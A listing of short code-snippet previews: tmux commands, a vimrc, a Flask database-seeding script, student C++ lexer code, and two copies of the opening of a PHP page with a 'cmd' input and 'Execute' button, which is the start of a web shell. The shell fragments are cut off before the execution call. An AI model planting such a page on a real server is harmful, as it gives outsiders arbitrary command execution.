start new:
tmux
start new with session name:
tmux new -s myname
| " Don't try to be vi compatible | |
| set nocompatible | |
| " Helps force plugins to load correctly when it is turned back on below | |
| filetype off | |
| " TODO: Load plugins here (pathogen or vundle) | |
| " Turn on syntax highlighting | |
| syntax on |
| import minitwit | |
| from flask import Flask, request, jsonify, g | |
| app = Flask(__name__) | |
| def populate_db(): | |
| """Re-populates the database with test data""" | |
| db = minitwit.get_db() | |
| with app.open_resource('population.sql', mode='r') as f: | |
| db.cursor().executescript(f.read()) |
| <html> | |
| <body> | |
| <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
| <input type="TEXT" name="cmd" id="cmd" size="80"> | |
| <input type="SUBMIT" value="Execute"> | |
| </form> | |
| <pre> | |
| <?php | |
| if($_GET['cmd']) | |
| { |
| <html> | |
| <body> | |
| <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>"> | |
| <input type="TEXT" name="cmd" id="cmd" size="80"> | |
| <input type="SUBMIT" value="Execute"> | |
| </form> | |
| <pre> | |
| <?php | |
| if($_GET['cmd']) | |
| { |
| //============================================================================ | |
| // Task : Compiler | |
| // Description : Lexical Analyzer | |
| // Name : Mahmoud Mohamed Fathy | |
| // ID : 2012030135 | |
| //============================================================================ | |
| #include <iostream> | |
| #include <fstream> | |
| #include <string> |
| #include<iostream> | |
| #include<fstream> | |
| #include<stdlib.h> | |
| #include<string.h> | |
| #include<ctype.h> | |
| using namespace std; | |
| int isKeyword(char buffer[]){ | |
| char keywords[32][10] = {"auto","break","case","char","const","continue","default", |
| #include<iostream> | |
| #include<iomanip> | |
| #include<fstream> | |
| #include<string> | |
| using namespace std; | |
| #pragma once | |
| struct LexTok |